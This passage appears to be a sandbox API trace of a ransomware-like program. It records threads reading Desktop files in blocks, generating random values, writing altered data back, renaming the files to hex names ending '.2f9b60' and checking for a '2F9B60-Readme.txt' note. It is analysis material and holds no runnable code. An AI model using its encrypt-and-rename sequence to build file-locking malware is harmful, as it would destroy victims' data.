[0100.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x2050b690 [0100.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f970 [0100.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f970) returned 1 [0100.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4201b4e0 [0100.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f970 [0100.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0100.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb80) returned 1 [0100.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b690) returned 1 [0100.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0100.914] WriteFile (in: hFile=0x14ac, lpBuffer=0x4201b4e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21d5f700, lpOverlapped=0x0 | out: lpBuffer=0x4201b4e0*, lpNumberOfBytesWritten=0x21d5f700*=0x3c00, lpOverlapped=0x0) returned 1 [0101.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4201b4e0) returned 1 [0101.589] SetFilePointerEx (in: hFile=0x14ac, liDistanceToMove=0x149ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.589] ReadFile (in: hFile=0x14ac, lpBuffer=0x1ceda600, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21d5f700, lpOverlapped=0x0 | out: lpBuffer=0x1ceda600*, lpNumberOfBytesRead=0x21d5f700*=0x3c00, lpOverlapped=0x0) returned 1 [0101.589] SetFilePointerEx (in: hFile=0x14ac, liDistanceToMove=0x149ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0101.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869fc0 [0101.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77d0 [0101.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced77d0) returned 1 [0101.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4201b4e0 [0101.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77d0 [0101.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fb0 [0101.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7fb0) returned 1 [0101.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869fc0) returned 1 [0101.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0101.590] WriteFile (in: hFile=0x14ac, lpBuffer=0x4201b4e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21d5f700, lpOverlapped=0x0 | out: lpBuffer=0x4201b4e0*, lpNumberOfBytesWritten=0x21d5f700*=0x3c00, lpOverlapped=0x0) returned 1 [0101.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4201b4e0) returned 1 [0101.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced8d70 [0101.717] SetFilePointerEx (in: hFile=0x14ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.717] WriteFile (in: hFile=0x14ac, lpBuffer=0x133600*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x21d5f7b0, lpOverlapped=0x0 | out: lpBuffer=0x133600*, lpNumberOfBytesWritten=0x21d5f7b0*=0x154, lpOverlapped=0x0) returned 1 [0105.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0105.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d710 [0105.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0105.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0105.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1ced76b0 [0105.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f20 [0105.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7950 [0105.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7950) returned 1 [0105.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d710) returned 1 [0105.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0105.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1cd97620 [0105.028] sprintf (in: _Dest=0x1cd97620, _Format="%c%c" | out: _Dest="1f") returned 2 [0105.028] sprintf (in: _Dest=0x1cd97622, _Format="%c%c" | out: _Dest="2a") returned 2 [0105.028] sprintf (in: _Dest=0x1cd97624, _Format="%c%c" | out: _Dest="c1") returned 2 [0105.028] sprintf (in: _Dest=0x1cd97626, _Format="%c%c" | out: _Dest="a2") returned 2 [0105.028] sprintf (in: _Dest=0x1cd97628, _Format="%c%c" | out: _Dest="a5") returned 2 [0105.028] sprintf (in: _Dest=0x1cd9762a, _Format="%c%c" | out: _Dest="f9") returned 2 [0105.028] sprintf (in: _Dest=0x1cd9762c, _Format="%c%c" | out: _Dest="33") returned 2 [0105.028] sprintf (in: _Dest=0x1cd9762e, _Format="%c%c" | out: _Dest="d8") returned 2 [0105.028] sprintf (in: _Dest=0x1cd97630, _Format="%c%c" | out: _Dest="47") returned 2 [0105.028] sprintf (in: _Dest=0x1cd97632, _Format="%c%c" | out: _Dest="aa") returned 2 [0105.028] sprintf (in: _Dest=0x1cd97634, _Format="%c%c" | out: _Dest="5c") returned 2 [0105.028] sprintf (in: _Dest=0x1cd97636, _Format="%c%c" | out: _Dest="20") returned 2 [0105.028] sprintf (in: _Dest=0x1cd97638, _Format="%c%c" | out: _Dest="9c") returned 2 [0105.028] sprintf (in: _Dest=0x1cd9763a, _Format="%c%c" | out: _Dest="10") returned 2 [0105.028] sprintf (in: _Dest=0x1cd9763c, _Format="%c%c" | out: _Dest="bb") returned 2 [0105.028] sprintf (in: _Dest=0x1cd9763e, _Format="%c%c" | out: _Dest="d4") returned 2 [0105.028] sprintf (in: _Dest=0x1cd97640, _Format="%c%c" | out: _Dest="bb") returned 2 [0105.028] sprintf (in: _Dest=0x1cd97642, _Format="%c%c" | out: _Dest="85") returned 2 [0105.028] sprintf (in: _Dest=0x1cd97644, _Format="%c%c" | out: _Dest="3a") returned 2 [0105.028] sprintf (in: _Dest=0x1cd97646, _Format="%c%c" | out: _Dest="3f") returned 2 [0105.028] sprintf (in: _Dest=0x1cd97648, _Format="%c%c" | out: _Dest="6a") returned 2 [0105.028] sprintf (in: _Dest=0x1cd9764a, _Format="%c%c" | out: _Dest="cc") returned 2 [0105.028] sprintf (in: _Dest=0x1cd9764c, _Format="%c%c" | out: _Dest="55") returned 2 [0105.028] sprintf (in: _Dest=0x1cd9764e, _Format="%c%c" | out: _Dest="20") returned 2 [0105.029] sprintf (in: _Dest=0x1cd97650, _Format="%c%c" | out: _Dest="6a") returned 2 [0105.029] sprintf (in: _Dest=0x1cd97652, _Format="%c%c" | out: _Dest="de") returned 2 [0105.029] sprintf (in: _Dest=0x1cd97654, _Format="%c%c" | out: _Dest="7f") returned 2 [0105.029] sprintf (in: _Dest=0x1cd97656, _Format="%c%c" | out: _Dest="47") returned 2 [0105.029] sprintf (in: _Dest=0x1cd97658, _Format="%c%c" | out: _Dest="62") returned 2 [0105.029] sprintf (in: _Dest=0x1cd9765a, _Format="%c%c" | out: _Dest="12") returned 2 [0105.029] sprintf (in: _Dest=0x1cd9765c, _Format="%c%c" | out: _Dest="35") returned 2 [0105.029] sprintf (in: _Dest=0x1cd9765e, _Format="%c%c" | out: _Dest="76") returned 2 [0105.029] sprintf (in: _Dest=0x1cd97660, _Format="%c%c" | out: _Dest="b7") returned 2 [0105.029] sprintf (in: _Dest=0x1cd97662, _Format="%c%c" | out: _Dest="cc") returned 2 [0105.029] RtlInitAnsiString (in: DestinationString=0x21d5f828, SourceString="1f2ac1a2a5f933d847aa5c209c10bbd4bb853a3f6acc55206ade7f4762123576b7cc" | out: DestinationString="1f2ac1a2a5f933d847aa5c209c10bbd4bb853a3f6acc55206ade7f4762123576b7cc") [0105.029] RtlAnsiStringToUnicodeString (in: DestinationString=0x21d5f7f8, SourceString="1f2ac1a2a5f933d847aa5c209c10bbd4bb853a3f6acc55206ade7f4762123576b7cc", AllocateDestinationString=1 | out: DestinationString="1f2ac1a2a5f933d847aa5c209c10bbd4bb853a3f6acc55206ade7f4762123576b7cc") returned 0x0 [0105.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4205deb0 [0105.029] wcscat (in: _Dest=0x202a4c80, _Source="1f2ac1a2a5f933d84" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1f2ac1a2a5f933d84") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1f2ac1a2a5f933d84" [0105.029] wcscat (in: _Dest=0x202a4c80, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1f2ac1a2a5f933d84.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1f2ac1a2a5f933d84.2f9b60" [0105.029] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1f2ac1a2a5f933d84.2f9b60", NtPathName=0x21d5f7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1f2ac1a2a5f933d84.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050b690 [0105.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b690) returned 1 [0105.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cece180) returned 1 [0105.703] NtQueryInformationFile (in: FileHandle=0x14ac, IoStatusBlock=0x21d5f838, FileInformation=0x21d5f848, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21d5f838, FileInformation=0x21d5f848) returned 0x0 [0105.703] NtSetInformationFile (FileHandle=0x14ac, IoStatusBlock=0x21d5f838, FileInformation=0x21d5f848, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4c80) returned 1 [0105.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205deb0) returned 1 [0105.706] FlushFileBuffers (hFile=0x14ac) returned 1 [0105.708] CloseHandle (hObject=0x14ac) returned 1 [0105.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79da70 [0105.709] wcscpy (in: _Dest=0x1b79da70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0105.709] wcscat (in: _Dest=0x1b79da70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0105.709] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0x20 [0105.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0105.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dc70) returned 1 Thread: id = 780 os_tid = 0x1314 [0098.661] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aX4vGE6ldy_t.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ax4vge6ldy_t.mkv")) returned 0x20 [0098.661] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aX4vGE6ldy_t.mkv", dwFileAttributes=0x20) returned 1 [0098.661] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aX4vGE6ldy_t.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ax4vge6ldy_t.mkv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14b0 [0098.662] GetFileSizeEx (in: hFile=0x14b0, lpFileSize=0x21cdfd60 | out: lpFileSize=0x21cdfd60*=22920) returned 1 [0098.662] SetFilePointerEx (in: hFile=0x14b0, liDistanceToMove=0x5984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.662] ReadFile (in: hFile=0x14b0, lpBuffer=0x21cdfce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21cdfd28, lpOverlapped=0x0 | out: lpBuffer=0x21cdfce0*, lpNumberOfBytesRead=0x21cdfd28*=0x4, lpOverlapped=0x0) returned 1 [0098.662] SetFilePointerEx (in: hFile=0x14b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202607a0 [0098.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260830 [0098.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260860 [0098.663] NtQuerySystemTime (in: CurrentTime=0x21cdfc20 | out: CurrentTime=0x21cdfc20*=132462177041842000) returned 0x0 [0098.663] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x4dd9539a [0098.663] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x72635e4f [0098.663] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x1c293b9d [0098.663] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x6ef1b710 [0098.663] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x4ca7b25 [0098.663] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x3fd2e847 [0098.663] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x6d65703b [0098.663] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x326d045d [0098.663] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x3443279d [0098.663] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x4ea1df66 [0098.663] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x1fa242b1 [0098.663] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x61bfe619 [0098.663] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x26fa8acd [0098.663] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x1807e0a [0098.663] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x95c6c50 [0098.663] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x4580233f [0098.663] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0xf367cc5 [0098.664] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x3503aa19 [0098.664] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x372f88c7 [0098.664] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x1833f216 [0098.664] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x44632306 [0098.664] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x1f2f1304 [0098.664] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x7794155a [0098.664] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x4c58fa34 [0098.664] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0xd6d3fcd [0098.664] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x3e911540 [0098.664] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x421fd82e [0098.664] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x27a4182 [0098.664] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x5891680 [0098.664] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x4a6b8f9b [0098.664] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x7288b3a2 [0098.664] RtlRandomEx (in: Seed=0x21cdfc10 | out: Seed=0x21cdfc10) returned 0x1f89737b [0098.672] SetFilePointerEx (in: hFile=0x14b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.673] ReadFile (in: hFile=0x14b0, lpBuffer=0x20126910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21cdfc80, lpOverlapped=0x0 | out: lpBuffer=0x20126910*, lpNumberOfBytesRead=0x21cdfc80*=0x3c00, lpOverlapped=0x0) returned 1 [0098.673] SetFilePointerEx (in: hFile=0x14b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0098.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0098.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202607a0 [0098.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202607a0) returned 1 [0098.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cf076c0 [0098.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202607a0 [0098.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260860 [0098.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260860) returned 1 [0098.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0098.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0098.673] WriteFile (in: hFile=0x14b0, lpBuffer=0x1cf076c0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21cdfc80, lpOverlapped=0x0 | out: lpBuffer=0x1cf076c0*, lpNumberOfBytesWritten=0x21cdfc80*=0x3c00, lpOverlapped=0x0) returned 1 [0100.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf076c0) returned 1 [0100.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20126910) returned 1 [0100.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9f6f0 [0100.915] SetFilePointerEx (in: hFile=0x14b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.915] WriteFile (in: hFile=0x14b0, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x21cdfd30, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x21cdfd30*=0x112, lpOverlapped=0x0) returned 1 [0102.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0102.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0102.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261610 [0102.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261610) returned 1 [0102.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261610 [0102.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202615e0 [0102.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261580 [0102.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261580) returned 1 [0102.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0102.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0102.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1cd97300 [0102.032] sprintf (in: _Dest=0x1cd97300, _Format="%c%c" | out: _Dest="5f") returned 2 [0102.032] sprintf (in: _Dest=0x1cd97302, _Format="%c%c" | out: _Dest="38") returned 2 [0102.032] sprintf (in: _Dest=0x1cd97304, _Format="%c%c" | out: _Dest="fc") returned 2 [0102.032] sprintf (in: _Dest=0x1cd97306, _Format="%c%c" | out: _Dest="97") returned 2 [0102.032] sprintf (in: _Dest=0x1cd97308, _Format="%c%c" | out: _Dest="8d") returned 2 [0102.032] sprintf (in: _Dest=0x1cd9730a, _Format="%c%c" | out: _Dest="6c") returned 2 [0102.032] sprintf (in: _Dest=0x1cd9730c, _Format="%c%c" | out: _Dest="a2") returned 2 [0102.032] sprintf (in: _Dest=0x1cd9730e, _Format="%c%c" | out: _Dest="ec") returned 2 [0102.032] sprintf (in: _Dest=0x1cd97310, _Format="%c%c" | out: _Dest="b7") returned 2 [0102.032] sprintf (in: _Dest=0x1cd97312, _Format="%c%c" | out: _Dest="91") returned 2 [0102.033] sprintf (in: _Dest=0x1cd97314, _Format="%c%c" | out: _Dest="0e") returned 2 [0102.033] sprintf (in: _Dest=0x1cd97316, _Format="%c%c" | out: _Dest="d8") returned 2 [0102.033] sprintf (in: _Dest=0x1cd97318, _Format="%c%c" | out: _Dest="84") returned 2 [0102.033] sprintf (in: _Dest=0x1cd9731a, _Format="%c%c" | out: _Dest="d2") returned 2 [0102.033] sprintf (in: _Dest=0x1cd9731c, _Format="%c%c" | out: _Dest="2d") returned 2 [0102.033] sprintf (in: _Dest=0x1cd9731e, _Format="%c%c" | out: _Dest="3d") returned 2 [0102.033] sprintf (in: _Dest=0x1cd97320, _Format="%c%c" | out: _Dest="bd") returned 2 [0102.033] sprintf (in: _Dest=0x1cd97322, _Format="%c%c" | out: _Dest="45") returned 2 [0102.033] sprintf (in: _Dest=0x1cd97324, _Format="%c%c" | out: _Dest="e5") returned 2 [0102.033] sprintf (in: _Dest=0x1cd97326, _Format="%c%c" | out: _Dest="42") returned 2 [0102.033] sprintf (in: _Dest=0x1cd97328, _Format="%c%c" | out: _Dest="a8") returned 2 [0102.033] sprintf (in: _Dest=0x1cd9732a, _Format="%c%c" | out: _Dest="0c") returned 2 [0102.033] sprintf (in: _Dest=0x1cd9732c, _Format="%c%c" | out: _Dest="11") returned 2 [0102.033] sprintf (in: _Dest=0x1cd9732e, _Format="%c%c" | out: _Dest="c3") returned 2 [0102.033] sprintf (in: _Dest=0x1cd97330, _Format="%c%c" | out: _Dest="47") returned 2 [0102.033] sprintf (in: _Dest=0x1cd97332, _Format="%c%c" | out: _Dest="05") returned 2 [0102.033] sprintf (in: _Dest=0x1cd97334, _Format="%c%c" | out: _Dest="aa") returned 2 [0102.033] sprintf (in: _Dest=0x1cd97336, _Format="%c%c" | out: _Dest="22") returned 2 [0102.033] sprintf (in: _Dest=0x1cd97338, _Format="%c%c" | out: _Dest="26") returned 2 [0102.033] sprintf (in: _Dest=0x1cd9733a, _Format="%c%c" | out: _Dest="11") returned 2 [0102.033] sprintf (in: _Dest=0x1cd9733c, _Format="%c%c" | out: _Dest="d4") returned 2 [0102.034] sprintf (in: _Dest=0x1cd9733e, _Format="%c%c" | out: _Dest="bd") returned 2 [0102.034] RtlInitAnsiString (in: DestinationString=0x21cdfda8, SourceString="5f38fc978d6ca2ecb7910ed884d22d3dbd45e542a80c11c34705aa222611d4bd" | out: DestinationString="5f38fc978d6ca2ecb7910ed884d22d3dbd45e542a80c11c34705aa222611d4bd") [0102.034] RtlAnsiStringToUnicodeString (in: DestinationString=0x21cdfd78, SourceString="5f38fc978d6ca2ecb7910ed884d22d3dbd45e542a80c11c34705aa222611d4bd", AllocateDestinationString=1 | out: DestinationString="5f38fc978d6ca2ecb7910ed884d22d3dbd45e542a80c11c34705aa222611d4bd") returned 0x0 [0102.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x20509b10 [0102.034] wcscat (in: _Dest=0x20509a80, _Source="5f38fc978d6ca2ec" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5f38fc978d6ca2ec") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5f38fc978d6ca2ec" [0102.034] wcscat (in: _Dest=0x20509a80, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5f38fc978d6ca2ec.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5f38fc978d6ca2ec.2f9b60" [0102.034] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5f38fc978d6ca2ec.2f9b60", NtPathName=0x21cdfd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5f38fc978d6ca2ec.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050bd70 [0109.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bd70) returned 1 [0109.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecb7f0) returned 1 [0109.010] NtQueryInformationFile (in: FileHandle=0x14b0, IoStatusBlock=0x21cdfdb8, FileInformation=0x21cdfdc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21cdfdb8, FileInformation=0x21cdfdc8) returned 0x0 [0109.010] NtSetInformationFile (FileHandle=0x14b0, IoStatusBlock=0x21cdfdb8, FileInformation=0x21cdfdc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509a80) returned 1 [0109.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509b10) returned 1 [0109.026] FlushFileBuffers (hFile=0x14b0) returned 1 [0109.034] CloseHandle (hObject=0x14b0) returned 1 [0109.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79d970 [0109.037] wcscpy (in: _Dest=0x1b79d970, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0109.037] wcscat (in: _Dest=0x1b79d970, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS 